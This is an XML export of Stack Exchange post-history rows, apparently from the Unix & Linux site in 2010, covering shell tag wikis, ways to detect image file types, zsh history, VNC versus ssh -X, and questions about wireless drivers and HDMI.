  <row Id="3972" PostHistoryTypeId="5" PostId="1940" RevisionGUID="d7946665-d4c9-4add-b6e7-ff4a57f9a736" CreationDate="2010-09-12T21:25:19.803" UserId="29" Comment="move summary to Excerpt" Text="the Z shell - Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and  as  a shell  script  command processor.  Of the standard shells, zsh most closely resembles ksh but includes many enhancements.  Zsh has command line editing, builtin  spelling  correction,  programmable command  completion,  shell  functions (with autoloading), a history mechanism, and a host of other features." />
  <row Id="3973" PostHistoryTypeId="2" PostId="1944" RevisionGUID="6104d8d9-217a-4099-83ce-a6ffd1ca2b63" CreationDate="2010-09-12T21:27:40.110" UserId="29" Text="" />
  <row Id="3974" PostHistoryTypeId="2" PostId="1945" RevisionGUID="11700492-4cd4-4a61-a84b-ac69fc47a630" CreationDate="2010-09-12T21:27:40.110" UserId="29" Comment="added 17 characters in body" Text="`man 1 file` - file - determine file type. &#xD;&#xA;" />
  <row Id="3976" PostHistoryTypeId="2" PostId="1947" RevisionGUID="3f9274ea-f6bc-4594-ae67-ad49c397ea37" CreationDate="2010-09-12T21:33:10.670" UserId="305" Text="    file -ib image | awk '&quot;^image/&quot; {print}'&#xD;&#xA;&#xD;&#xA;If file detects image it should print line like:&#xD;&#xA;&#xD;&#xA;    image/jpeg; charset=binary&#xD;&#xA;&#xD;&#xA;It works on magic numbers so it is not based on extentions. It " />
  <row Id="3977" PostHistoryTypeId="2" PostId="1948" RevisionGUID="20aefc8d-a989-4347-88be-08615daae986" CreationDate="2010-09-12T21:35:59.480" UserId="29" Text="&lt;blockquote&gt;&#xD;&#xA;Xorg is  a  full  featured  X server that was originally designed for UNIX and UNIX-like operating systems running on Intel x86 hardware.  It now runs on a wider range  of  hardware and OS platforms.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;This work  was derived by the X.Org Foundation from the XFree86 Project's XFree86 4.4rc2 release.  The XFree86 release was originally derived from X386 1.2 by Thomas Roell  which was contributed to X11R5 by Snitily Graphics Consulting Service.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Xorg  operates under a wide range of operating systems and hardware platforms.  The Intel&#xD;&#xA;x86 (IA32) architecture is the most widely supported hardware platform.   Other  hardware platforms  include  Compaq  Alpha, Intel IA64, AMD64, SPARC and PowerPC.  The most widely supported operating systems are the free/OpenSource  UNIX-like  systems  such  as  Linux,&#xD;&#xA;FreeBSD,  NetBSD,  OpenBSD,  and  Solaris.   Commercial  UNIX  operating  systems such as&#xD;&#xA;UnixWare are also supported.  Other supported operating systems include GNU Hurd.  Darwin&#xD;&#xA;and  Mac OS X are supported with the XDarwin(1) X server.  Win32/Cygwin is supported with&#xD;&#xA;the XWin(1) X server.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="3978" PostHistoryTypeId="2" PostId="1949" RevisionGUID="600ef820-e448-435f-8833-e9f10eb9d14e" CreationDate="2010-09-12T21:35:59.480" UserId="29" Text="Xorg  is  a  full  featured  X server that was originally designed for UNIX and UNIX-like operating systems running on Intel x86 hardware.  It now runs on a wider range  of  hardware and OS platforms." />
  <row Id="3979" PostHistoryTypeId="2" PostId="1950" RevisionGUID="8c09113d-bf3c-4268-8c7f-6cc6042f6759" CreationDate="2010-09-12T21:40:37.450" UserId="29" Text="`man 1 bash`&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file.  Bash also incorporates useful features from the Korn and C shells (ksh and csh).&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Bash  is intended to be a conformant implementation of the Shell and Utilities portion of the IEEE POSIX specification (IEEE Standard 1003.1).  Bash can be configured to be POSIX-conformant by default.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="3980" PostHistoryTypeId="2" PostId="1951" RevisionGUID="bcbe5618-0530-4e80-ab87-9c705770fb3d" CreationDate="2010-09-12T21:40:37.450" UserId="29" Text="bash - GNU Bourne-Again SHell - Bash  is  an  sh-compatible command language interpreter that executes commands read from the standard input or from a file." />
  <row Id="3981" PostHistoryTypeId="5" PostId="1939" RevisionGUID="ace77b40-5aa6-4c2f-8020-0dcaf9365a66" CreationDate="2010-09-12T21:41:48.203" UserId="29" Comment="add command to check man page" Text="`man 1 zsh`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Zsh is a UNIX command interpreter (shell) usable as an interactive login shell and  as  a shell  script  command processor.  Of the standard shells, zsh most closely resembles ksh but includes many enhancements.  Zsh has command line editing, builtin  spelling  correction,  programmable command  completion,  shell  functions (with autoloading), a history mechanism, and a host of other features.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="3982" PostHistoryTypeId="5" PostId="1944" RevisionGUID="3367b2e4-8df2-4b04-b0fa-347e7c333bd1" CreationDate="2010-09-12T21:45:28.010" UserId="29" Comment="add some contents of the man page" Text="`man 1 file`&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;     This manual page documents version 5.04 of the file command.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;     file tests each argument in an attempt to classify it.  There are three sets of tests, performed in this order: filesystem tests, magic tests, and language tests.  The first test&#xD;&#xA;     that succeeds causes the file type to be printed.&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;     The type printed will usually contain one of the words text (the file contains only print‐&#xD;&#xA;     ing characters and a few common control characters and is probably safe to read on an ASCII&#xD;&#xA;     terminal), executable (the file contains the result of compiling a program in a form understandable to some UNIX kernel or another), or data meaning anything else (data is usually&#xD;&#xA;     ‘binary’ or non-printable).  Exceptions are well-known file formats (core files, tar archives) that are known to contain binary data.  When modifying magic files or the program&#xD;&#xA;     itself, make sure to preserve these keywords.  Users depend on knowing that all the readable files in a directory have the word ‘text’ printed.  Don't do as Berkeley did and&#xD;&#xA;     change ‘shell commands text’ to ‘shell script’.&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="3983" PostHistoryTypeId="5" PostId="1945" RevisionGUID="c6de2f1f-d5ef-49e3-89a1-eb757dae600d" CreationDate="2010-09-12T21:45:28.027" UserId="29" Comment="add some contents of the man page" Text="file - determine file type. &#xD;&#xA;" />
  <row Id="3984" PostHistoryTypeId="2" PostId="1952" RevisionGUID="3677c005-ea48-4df6-86d3-3610eca7a8a1" CreationDate="2010-09-12T21:46:16.137" UserId="29" Text="" />
  <row Id="3985" PostHistoryTypeId="2" PostId="1953" RevisionGUID="e2e93451-6069-419c-810e-67fd33637b6b" CreationDate="2010-09-12T21:46:16.137" UserId="29" Text="find - search for files in a directory hierarchy" />
  <row Id="3986" PostHistoryTypeId="2" PostId="1954" RevisionGUID="dba649ac-0d09-4390-b712-b3e88b6bb5cf" CreationDate="2010-09-12T21:47:42.983" UserId="29" Text="" />
  <row Id="3987" PostHistoryTypeId="2" PostId="1955" RevisionGUID="596e2cfb-e0c2-46c6-9d27-77207886fb80" CreationDate="2010-09-12T21:47:42.983" UserId="29" Text="a lightweight and flexible Linux® distribution that tries to Keep It Simple." />
  <row Id="3988" PostHistoryTypeId="2" PostId="1956" RevisionGUID="a1241e4b-398d-4c19-ac17-b1b04d4a94bb" CreationDate="2010-09-12T21:49:31.580" UserId="885" Text="You've set `SAVEHIST=10000`, but you left `HISTSIZE` at its default value of 30. That means any session will keep at most 30 entries in memory. Due to the `append_history` option, the history file can contain more history than kept into memory. If the entry you're searching for is not in memory, it won't be found.&#xD;&#xA;&#xD;&#xA;Easy fix: set `SAVEHIST` to be larger. Most of the time `SAVEHIST` and `HISTSIZE` should be the same value.&#xD;&#xA;&#xD;&#xA;If you're extremely short of memory, I suppose it would make sense to keep fewer entries in memory and to load them only when you search for them. But that sounds like a lot of coding effort for a rather small benefit (10000 entries would be something like a megabyte, which is large for a shell instance but not out of the question).&#xD;&#xA;&#xD;&#xA;You would get better mileage out of your history entries with the `hist_ignore_all_dups` option (instead of `hist_find_no_dups`).&#xD;&#xA;" />
  <row Id="3989" PostHistoryTypeId="2" PostId="1957" RevisionGUID="81fd8c1b-059d-46d0-94bc-4042b491becd" CreationDate="2010-09-12T21:59:49.520" UserId="885" Text="The following command lists the lines in `list_file` that contain the name of an image file:&#xD;&#xA;&#xD;&#xA;    &lt;list_file xargs -d \\n file -i | sed -n 's!: *image/[^ :]*$!!p'&#xD;&#xA;&#xD;&#xA;* `file -i FOO` looks at the first few bytes of `FOO` to determine its format and prints a line like `FOO: image/jpeg` (`-i` means to show a MIME type; it's specific to GNU file as found on Linux).&#xD;&#xA;* `xargs -d \\n` reads a list of files (one per line) from standard input and applies the subsequent command to it. (This requires GNU xargs as found on Linux; on other systems, leave out `-d \\n`, but then the file list can't contain `\'&quot;` or whitespace).&#xD;&#xA;* The `sed` command filters out the `: image/FOO` suffix so as to just display the file names. It ignores lines that don't correspond to image files.&#xD;&#xA;" />
  <row Id="3990" PostHistoryTypeId="2" PostId="1958" RevisionGUID="c78b14b6-11cf-4e7d-9eca-e128405da215" CreationDate="2010-09-12T22:03:49.980" UserDisplayName="DoomStone" Text="I am having a problem with my Revo 3610 witch is connected to my tv via hdmi.&#xD;&#xA;For some reason will it not do the hdmi handshake with the tv, so my tv dose not think that there are anything in the hdmi port.&#xD;&#xA;I have tested the tv and it works find, with my laptop and dvd.&#xD;&#xA;It dose work some times, but this time have it faild for 2 days in a row, and i have tryed rebooting, turning the tv off and on, and so on nothing helps.&#xD;&#xA;I can trick the TV to listen to the HDMI with connecting with my laptop and then change the hdmi back to my revo, this on the other hand results in the image going thoug nicely but there are a big fat &quot;Check signal cable.&quot; on the screen.&#xD;&#xA;I have also tryed changing the resolution in the revo but this dose not help ether.&#xD;&#xA;&#xD;&#xA;Have any one had this problem before, and if so how did you fix it?&#xD;&#xA;&#xD;&#xA;Example :http://i.imgur.com/gguZ4.jpg" />
  <row Id="3991" PostHistoryTypeId="1" PostId="1958" RevisionGUID="c78b14b6-11cf-4e7d-9eca-e128405da215" CreationDate="2010-09-12T22:03:49.980" UserDisplayName="DoomStone" Text="Revo 3610 not doing hdmi handshake" />
  <row Id="3992" PostHistoryTypeId="3" PostId="1958" RevisionGUID="c78b14b6-11cf-4e7d-9eca-e128405da215" CreationDate="2010-09-12T22:03:49.980" UserDisplayName="DoomStone" Text="éxbmcà" />
  <row Id="3993" PostHistoryTypeId="5" PostId="1924" RevisionGUID="25707303-7b7f-47d8-82b0-6b2a9605dcef" CreationDate="2010-09-12T22:09:20.977" UserId="29" Comment="make english slightly better" Text="I need one process run before log in  to system. how to run it like services?(how do I make services in Linux?)&#xD;&#xA;&#xD;&#xA;in Ubuntu and Fedora ? &#xD;&#xA;the service is customized tomcat" />
  <row Id="3994" PostHistoryTypeId="4" PostId="1924" RevisionGUID="25707303-7b7f-47d8-82b0-6b2a9605dcef" CreationDate="2010-09-12T22:09:20.977" UserId="29" Comment="make english slightly better" Text="Create services in Linux (Start up  in linux)" />
  <row Id="3995" PostHistoryTypeId="5" PostId="1958" RevisionGUID="2300b83f-3f97-416d-a01a-64afe22c3ee2" CreationDate="2010-09-12T22:12:58.413" UserId="29" Comment="fix spelling errors" Text="I am having a problem with my Revo 3610 witch is connected to my tv via hdmi.&#xD;&#xA;For some reason will it not do the hdmi handshake with the tv, so my tv does not think that there are anything in the hdmi port.&#xD;&#xA;I have tested the tv and it works find, with my laptop and dvd.&#xD;&#xA;It dose work some times, but this time have it failed for 2 days in a row, and i have tried rebooting, turning the tv off and on, and so on nothing helps.&#xD;&#xA;I can trick the TV to listen to the HDMI with connecting with my laptop and then change the hdmi back to my revo, this on the other hand results in the image going thoug nicely but there are a big fat &quot;Check signal cable.&quot; on the screen.&#xD;&#xA;I have also tryed changing the resolution in the revo but this dose not help ether.&#xD;&#xA;&#xD;&#xA;Have any one had this problem before, and if so how did you fix it?&#xD;&#xA;&#xD;&#xA;![Example](http://i.imgur.com/gguZ4.jpg)" />
  <row Id="3996" PostHistoryTypeId="2" PostId="1959" RevisionGUID="252fbe30-24fd-4dfb-8a0f-2f149143cf1e" CreationDate="2010-09-12T23:22:21.887" UserId="1620" Text="Use `os.path.join` in Python and you won't get multiple slashes. Building up filenames yourself by concatenating strings is considered poor Python style." />
  <row Id="3997" PostHistoryTypeId="2" PostId="1960" RevisionGUID="8c6078c7-5eea-4923-96de-ec7971733549" CreationDate="2010-09-12T23:29:13.620" UserId="991" Text="Why would you use VNC (or for that matter NX) instead of just using `ssh -X (-Y)`. I read that VNC uses less bandwidth, but is there any other differences/advantages with respective tool?" />
  <row Id="3998" PostHistoryTypeId="1" PostId="1960" RevisionGUID="8c6078c7-5eea-4923-96de-ec7971733549" CreationDate="2010-09-12T23:29:13.620" UserId="991" Text="Differences between VNC and ssh -X " />
  <row Id="3999" PostHistoryTypeId="3" PostId="1960" RevisionGUID="8c6078c7-5eea-4923-96de-ec7971733549" CreationDate="2010-09-12T23:29:13.620" UserId="991" Text="ésshàévncà" />
  <row Id="4000" PostHistoryTypeId="2" PostId="1961" RevisionGUID="dab1f67a-d769-4237-9231-ef64d3868ab0" CreationDate="2010-09-12T23:48:58.830" UserId="1620" Text="I was once developing a device driver for Unix. It had a pointer problem and during testing it started to write off the end of an array in kernel memory. I was slow to spot this and didn't hit the reset button immediately. The driver had scribbled all over the disk buffer cache which was then flushed to disk before I hit reset. A lot of the blocks were inodes and directories, and I ended up with a totally trashed filesystem. I think 6000 orphaned files were put into `lost+found` before I gave up and reinstalled. Fortunately, this was only a test system, not my workstation with all my files on it." />
  <row Id="4001" PostHistoryTypeId="16" PostId="1961" RevisionGUID="dab1f67a-d769-4237-9231-ef64d3868ab0" CreationDate="2010-09-12T23:48:58.830" UserId="-1" />
  <row Id="4002" PostHistoryTypeId="2" PostId="1962" RevisionGUID="25543a3b-341a-424b-9145-2a5885dfab34" CreationDate="2010-09-13T00:28:17.473" UserId="195" Text="Roughly weekly, Randal Schwartz puts out an episode of &lt;a href=&quot;http://twit.tv/floss&quot;&gt;FLOSS Weekly&lt;/a&gt;. This will take a look at some Free Software project by inviting a leader in the project on to answer questions. Common that I've noticed are:&#xD;&#xA;&#xD;&#xA; * What does it do?&#xD;&#xA; * Who started it?&#xD;&#xA; * How mature is it?&#xD;&#xA; * What license is it under? Does the leader being interviewed know why it's under that one?&#xD;&#xA; * How did interviewee get involved with the project?" />
  <row Id="4003" PostHistoryTypeId="16" PostId="1962" RevisionGUID="25543a3b-341a-424b-9145-2a5885dfab34" CreationDate="2010-09-13T00:28:17.473" UserId="-1" />
  <row Id="4004" PostHistoryTypeId="2" PostId="1963" RevisionGUID="82dcc74a-2404-409b-afa8-04a573c8e8b5" CreationDate="2010-09-13T00:47:28.613" UserId="29" Text="Is there a document somewhere describing each of mplayer's video output drivers and why'd you'd want to pick that one for a given circumstance (or why it exists)? or would someone be willing to write that out here?" />
  <row Id="4005" PostHistoryTypeId="1" PostId="1963" RevisionGUID="82dcc74a-2404-409b-afa8-04a573c8e8b5" CreationDate="2010-09-13T00:47:28.613" UserId="29" Text="mplayer video output drivers" />
  <row Id="4006" PostHistoryTypeId="3" PostId="1963" RevisionGUID="82dcc74a-2404-409b-afa8-04a573c8e8b5" CreationDate="2010-09-13T00:47:28.613" UserId="29" Text="émplayeràévideoà" />
  <row Id="4007" PostHistoryTypeId="2" PostId="1964" RevisionGUID="de905a7e-db76-4ec5-9414-3a2077c82161" CreationDate="2010-09-13T01:54:08.950" UserId="1534" Text="`ssh -X` redirects X11 commands to your local X server. So it is as if you were running the program locally, when it's really running on the computer at the other end. It's **very** slow because it uses a great deal of bandwidth. The X11 protocol is very complex and often involves sending large pixmaps back and forth across the connection. (This is what people are talking about when they say X11 is &quot;network transparent.&quot;)&#xD;&#xA;&#xD;&#xA;VNC and other remote desktop apps instead let the other computer process all of the graphics drawing and so forth and captures, in essence, a screenshot and sends that back to your computer. It can seem much faster, because far less information is required to display everything. However, it also sends the whole desktop, rather than a single application.&#xD;&#xA;&#xD;&#xA;I don't recommend using `ssh -X` over the Internet for one simple reason: It *will* use all of your available bandwidth. It's fairly useful over a LAN, in my opinion, so if you just need one application and don't want to have to run a whole desktop, this is a good way to go. Otherwise, just use VNC." />
  <row Id="4008" PostHistoryTypeId="2" PostId="1965" RevisionGUID="4687a5cf-cc90-417d-88f8-51b2ef2414c6" CreationDate="2010-09-13T02:02:22.017" UserId="1534" Text="In addition to the `file` command, you can also use ImageMagick. The following will show the type of all files in the current directory:&#xD;&#xA;&#xD;&#xA;    find -type f -depth 0 -print0 | xargs -0 identify&#xD;&#xA;&#xD;&#xA;The `identify` command will print out something like this for various file types:&#xD;&#xA;&#xD;&#xA;    text.txt[8] TXT 612x792 612x792+0+0 16-bit DirectClass 694B 0.320u 0:00.330&#xD;&#xA;    php.jpg[31] JPEG 1280x1024 1280x1024+0+0 8-bit DirectClass 195KB 0.000u 0:00.000&#xD;&#xA;&#xD;&#xA;Animated GIF files will print more information (this is a 21-frame GIF):&#xD;&#xA;&#xD;&#xA;    adhd.gif[0] GIF 211x200 211x200+0+0 8-bit PseudoClass 256c 233KB 0.000u 0:00.029&#xD;&#xA;    adhd.gif[1] GIF 168x130 211x200+22+22 8-bit PseudoClass 256c 233KB 0.000u 0:00.029&#xD;&#xA;    adhd.gif[2] GIF 168x130 211x200+22+22 8-bit PseudoClass 256c 233KB 0.000u 0:00.029&#xD;&#xA;    ...&#xD;&#xA;    adhd.gif[18] GIF 168x130 211x200+22+22 8-bit PseudoClass 256c 233KB 0.000u 0:00.000&#xD;&#xA;    adhd.gif[19] GIF 168x130 211x200+22+22 8-bit PseudoClass 256c 233KB 0.000u 0:00.000&#xD;&#xA;    adhd.gif[20] GIF 168x130 211x200+22+22 8-bit PseudoClass 256c 233KB 0.000u 0:00.000&#xD;&#xA;&#xD;&#xA;You can then use `awk` or similar tools to decide what to do with them." />
  <row Id="4009" PostHistoryTypeId="2" PostId="1966" RevisionGUID="c06ef792-19c4-4aca-acf8-a747c38afb0e" CreationDate="2010-09-13T02:14:31.533" UserId="1534" Text="Every device with upgradeable firmware is probably going to have its own methods for doing that. Motherboards in particular are notoriously incompatible in this regard.&#xD;&#xA;&#xD;&#xA;As to hard drives, again, this is a proprietary matter. Seagate [provides](http://seagate.custkb.com/seagate/crm/selfservice/search.jsp?DocId=207931) liveCDs and Windows downloads to perform firmware updates, but not Linux or Unix tools.&#xD;&#xA;&#xD;&#xA;You can build [bootable images](http://www.thinkwiki.org/wiki/BIOS_Upgrade#Booting_using_GRUB) for Thinkpad BIOS updates that can be booted from GRUB.&#xD;&#xA;&#xD;&#xA;Otherwise, you're just going to have to check with the manufacturer for tools.&#xD;&#xA;&#xD;&#xA;On the other hand, if you're working with microcontrollers, you can often program them with fairly universal tools, though still on a limited basis (e.g., Atmel chips can usually be programmed with `avrdude`)." />
  <row Id="4010" PostHistoryTypeId="2" PostId="1967" RevisionGUID="8122f714-6b61-4bb0-b2c9-6a3c5798ea40" CreationDate="2010-09-13T02:18:37.417" UserId="1078" Text="The video output drivers compiled into your version of mplayer can be viewed by running &#xD;&#xA;&#xD;&#xA;    mplayer -vo help&#xD;&#xA;&#xD;&#xA;As to which you should pick when, some of that will be obvious from the help output (for those that target specific video cards[ mga, s3fb, etc], or output formats [aa, png, etc]). Some are obsolete (I don't think VIDIX went anywhere, or GGI). The others, I cannot help you with. I use `xv` when I can and fall back to `x11`. The others are somewhat specialised so unless I find a reason to use one, I wont.&#xD;&#xA;" />
  <row Id="4012" PostHistoryTypeId="2" PostId="1968" RevisionGUID="eb26227e-4318-4d28-be22-9befbc9fd344" CreationDate="2010-09-13T03:03:05.120" UserId="4" Text="VNC will share an entire desktop from a remote system. It requires a full-fledged desktop on the remote system.&#xD;&#xA;&#xD;&#xA;ssh -X allows you to run single X application from a remote server. The remote system does not need to be running a complete desktop, and you often only need a handful of packages to be installed on the remote system.&#xD;&#xA;&#xD;&#xA;Some software products may use a GUI installer (Oracle Database, etc). I don't want to install and a full-fledged Gnome desktop on my remote server. So, you install one or two X11 packages (Xauth?) on the remote server, and allow the DBA to run the Oracle installer remotely using something simple like 'ssh -X /media/cdrom/oracle-installer'." />
  <row Id="4013" PostHistoryTypeId="5" PostId="1964" RevisionGUID="af0cf842-874d-437e-97ca-bcea1444a302" CreationDate="2010-09-13T04:19:09.730" UserId="1534" Comment="deleted 112 characters in body" Text="`ssh -X` redirects X11 commands to your local X server. So it is as if you were running the program locally, when it's really running on the computer at the other end. It's **very** slow because it uses a great deal of bandwidth. (This is what people are talking about when they say X11 is &quot;network transparent.&quot;)&#xD;&#xA;&#xD;&#xA;VNC and other remote desktop apps instead let the other computer process all of the graphics drawing and so forth and captures, in essence, a screenshot and sends that back to your computer. It can seem much faster, because far less information is required to display everything. However, it also sends the whole desktop, rather than a single application.&#xD;&#xA;&#xD;&#xA;I don't recommend using `ssh -X` over the Internet for one simple reason: It *will* use all of your available bandwidth. It's fairly useful over a LAN, in my opinion, so if you just need one application and don't want to have to run a whole desktop, this is a good way to go. Otherwise, just use VNC." />
  <row Id="4014" PostHistoryTypeId="2" PostId="1969" RevisionGUID="21bb4b5a-1c5f-413a-947f-b603e21981b5" CreationDate="2010-09-13T05:28:38.697" UserId="1655" Text="I've been receiving a LOT of log cruft ever since I installed my Linksys Rangeplus USB WUSB100v2 (using the rt2870sta community driver from the Linux kernel) and was wondering what it all meant.&#xD;&#xA;&#xD;&#xA;Many times when these messages occur it is accompanied by slow network speeds and many DNS queries and outgoing SYNs being dropped. I have searched for documentation for these (error?) messages and have come up empty as far as what they mean or how I can stop them from occurring.&#xD;&#xA;&#xD;&#xA;I reside on the opposite side of the building from my WAP. I have [taken steps](http://bit.ly/b2ZrXf) to improve the signal strength, but the signal quality hovers between 50% and 70%, sometimes dropping to 40% for unknown reasons.&#xD;&#xA;&#xD;&#xA;I am using Slackware64-current (kernel 2.6.33.4) with dhcpcd-5.2.7, wpa_supplicant-0.6.10, wireless-tools-29.&#xD;&#xA;&#xD;&#xA;My `/var/log/messages`:&#xD;&#xA;&#xD;&#xA;    Sep 12 05:04:40 necronomicon -- MARK --&#xD;&#xA;    Sep 12 05:29:48 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4284&#xD;&#xA;    Sep 12 05:29:53 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4104&#xD;&#xA;    Sep 12 05:30:06 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4156&#xD;&#xA;    Sep 12 05:31:02 necronomicon kernel: 0:3 LTL=0 , TL=0 L:12260&#xD;&#xA;    Sep 12 05:31:03 necronomicon kernel: 0:4 LTL=0 , TL=0 L:12260&#xD;&#xA;    Sep 12 05:31:21 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4100&#xD;&#xA;    Sep 12 05:31:28 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4160&#xD;&#xA;    Sep 12 05:32:41 necronomicon kernel: 0:3 LTL=0 , TL=0 L:5612&#xD;&#xA;    Sep 12 05:33:12 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4208&#xD;&#xA;    Sep 12 05:33:16 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4696&#xD;&#xA;    Sep 12 05:37:40 necronomicon kernel: 0:3 LTL=0 , TL=16896 L:24604&#xD;&#xA;    Sep 12 05:41:06 necronomicon kernel: 0:3 LTL=16896 , TL=0 L:4184&#xD;&#xA;    Sep 12 05:41:55 necronomicon kernel: 0:3 LTL=0 , TL=0 L:3456&#xD;&#xA;    Sep 12 05:42:20 necronomicon kernel: 0:3 LTL=0 , TL=0 L:24736&#xD;&#xA;    Sep 12 05:42:21 necronomicon kernel: 0:4 LTL=0 , TL=0 L:24736&#xD;&#xA;    Sep 12 05:42:22 necronomicon kernel: 0:5 LTL=0 , TL=0 L:24736&#xD;&#xA;    Sep 12 05:42:23 necronomicon kernel: 0:6 LTL=0 , TL=18944 L:24736&#xD;&#xA;    Sep 12 05:43:06 necronomicon kernel: 0:3 LTL=18944 , TL=0 L:2176&#xD;&#xA;    Sep 12 05:44:14 necronomicon kernel: 0:3 LTL=0 , TL=0 L:4996&#xD;&#xA;&#xD;&#xA;My `dmesg`:&#xD;&#xA;&#xD;&#xA;    DeQueueRunning[0]= TRUE!&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4996&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4144&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4100&#xD;&#xA;    DeQueueRunning[0]= TRUE!&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4832&#xD;&#xA;    DeQueueRunning[0]= TRUE!&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4184&#xD;&#xA;    0:3 LTL=0 , TL=0 L:5260&#xD;&#xA;    DeQueueRunning[0]= TRUE!&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4200&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4120&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4140&#xD;&#xA;    0:3 LTL=0 , TL=0 L:5292&#xD;&#xA;    0:3 LTL=0 , TL=0 L:4188&#xD;&#xA;&#xD;&#xA;My `/proc/net/wireless`:&#xD;&#xA;&#xD;&#xA;    Inter-| sta-|   Quality        |   Discarded packets               | Missed | WE&#xD;&#xA;     face | tus | link level noise |  nwid  crypt   frag  retry   misc | beacon | 22&#xD;&#xA;     wlan0: 0000   70.  -65   -83        0      0      0      0      0        0&#xD;&#xA;&#xD;&#xA;My `iwconfig` settings:&#xD;&#xA;&#xD;&#xA;    wlan0     Ralink STA  ESSID:&quot;Network Awesome&quot;  Nickname:&quot;necronomicon&quot;&#xD;&#xA;              Mode:Managed  Frequency=2.457 GHz  Access Point: 00:16:B6:BA:FC:B0   &#xD;&#xA;              Bit Rate=12 Mb/s   &#xD;&#xA;              RTS thr:off   Fragment thr:off&#xD;&#xA;              Encryption key: [OMITTED]&#xD;&#xA;              Link Quality=67/100  Signal level:-63 dBm  Noise level:-83 dBm&#xD;&#xA;              Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&#xD;&#xA;              Tx excessive retries:0  Invalid misc:0   Missed beacon:0&#xD;&#xA;&#xD;&#xA;My `wpa_supplicant.conf`:&#xD;&#xA;&#xD;&#xA;    network={&#xD;&#xA;            ssid=&quot;Network Awesome&quot;&#xD;&#xA;            psk=&quot;[OMITTED]&quot;&#xD;&#xA;            proto=RSN&#xD;&#xA;            key_mgmt=WPA-PSK&#xD;&#xA;            pairwise=CCMP&#xD;&#xA;            priority=10&#xD;&#xA;            id_str=&quot;netawesome&quot;&#xD;&#xA;    }" />
  <row Id="4015" PostHistoryTypeId="1" PostId="1969" RevisionGUID="21bb4b5a-1c5f-413a-947f-b603e21981b5" CreationDate="2010-09-13T05:28:38.697" UserId="1655" Text="Unexplained Log Cruft and Possible Dropped Packets on WPA2-Personal LAN" />
  <row Id="4016" PostHistoryTypeId="3" PostId="1969" RevisionGUID="21bb4b5a-1c5f-413a-947f-b603e21981b5" CreationDate="2010-09-13T05:28:38.697" UserId="1655" Text="élinuxàénetworkingàéwpaösupplicantàéwirelessà" />
  <row Id="4017" PostHistoryTypeId="2" PostId="1970" RevisionGUID="63c63a1d-6afe-444f-994d-65ef61768631" CreationDate="2010-09-13T05:46:24.590" UserId="1458" Text="I work in two PCs and I sync all my files from my primary PC to a USB flash memory. In my second PC, I mount the USB flash memory to the same path to work on my files as I were on my primary PC.&#xD;&#xA;&#xD;&#xA;Now for the sake of performance and flash memory lifetime, I need to use any type of differencing, aka overlay, aka union, file-system (like unionfs or aufs) to let me use the USB flash disk as read-only and write changes to a temp directory and at the end allows me to write the changes back to the USB flash at once.&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;Any hope?" />
  <row Id="4018" PostHistoryTypeId="1" PostId="1970" RevisionGUID="63c63a1d-6afe-444f-994d-65ef61768631" CreationDate="2010-09-13T05:46:24.590" UserId="1458" Text="Using a differencing, aka overlay, aka union, file-system with commit capability " />
  <row Id="4019" PostHistoryTypeId="3" PostId="1970" RevisionGUID="63c63a1d-6afe-444f-994d-65ef61768631" CreationDate="2010-09-13T05:46:24.590" UserId="1458" Text="édriversàéusbàéflashàémountà" />
  <row Id="4020" PostHistoryTypeId="2" PostId="1971" RevisionGUID="91130f0d-80ed-486c-896c-52cfb4065409" CreationDate="2010-09-13T06:19:43.620" UserId="1606" Text="If you have Python and [python-magic][1] . Eg&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    import magic&#xD;&#xA;    import os&#xD;&#xA;    path=sys.argv[1]&#xD;&#xA;    mime = magic.open(magic.MAGIC_NONE)&#xD;&#xA;    mime.load()&#xD;&#xA;    for r,d,f in os.walk(path):&#xD;&#xA;        for files in f:&#xD;&#xA;            filename=os.path.join(r,files)&#xD;&#xA;            filetype=mime.file(filename)&#xD;&#xA;            if &quot;image&quot; in filetype:&#xD;&#xA;                print &quot;File: %s is %s&quot; %(filename, filetype)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pypi.python.org/pypi/python-magic/0.1" />
